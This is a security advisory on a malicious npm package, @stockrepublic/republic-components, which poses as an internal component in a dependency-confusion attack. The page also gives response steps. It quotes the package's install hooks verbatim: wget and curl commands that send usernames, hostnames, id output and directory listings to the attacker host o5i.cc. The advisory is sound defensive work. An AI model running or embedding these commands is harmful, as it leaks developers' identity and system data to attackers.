@stockrepublic/republic-componentsnpm
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@stockrepublic/republic-components is a confirmed malicious npm package (MAL-2026-4289) that steals credentials and exfiltrates sensitive data (malicious versions 99.0.0, 100.0.0). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in @stockrepublic/republic-components (npm)
What this malware does
The package masquerades as an internal @stockrepublic component (version 99.0.0, description 'Runs git diff and saves the output to git.log on install') but performs no git operation. Two independent install-time exfiltration paths fire on npm install:
- package.json
preinstallrunswget --quiet "http://o5i.cc/supp?user=$(whoami)&path=$(pwd)&hostname=$(hostname)", leaking the installer's username, working directory, and hostname over plain HTTP to o5i.cc. - package.json
installrunsnode index.js, which at index.js line 11 invokesexecSync("id > log.txt; ls -la >> log.txt; hostname >> log.txt; curl -X POST -F [email protected] https://o5i.cc/supp; curl -X POST -d \"$(id)\" https://o5i.cc/supp"), exfiltrating uid/gid output and a directory listing of the consumer's project.
The inflated 99.0.0 version in a scoped namespace, combined with a cover-story description that does not match the code, is the canonical dependency-confusion pattern targeting an organization's private @stockrepublic registry. Any developer or CI system that pulls this public package by mistake leaks identity and filesystem metadata to attacker infrastructure.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified '@stockrepublic/republic-components' @ 99.0.0 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Search your lockfiles and build artifacts for @stockrepublic/republic-components (2 malicious versions).
If you installed it — respond
@stockrepublic/republic-components is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If @stockrepublic/republic-components was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.
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Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks @stockrepublic/republic-components-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.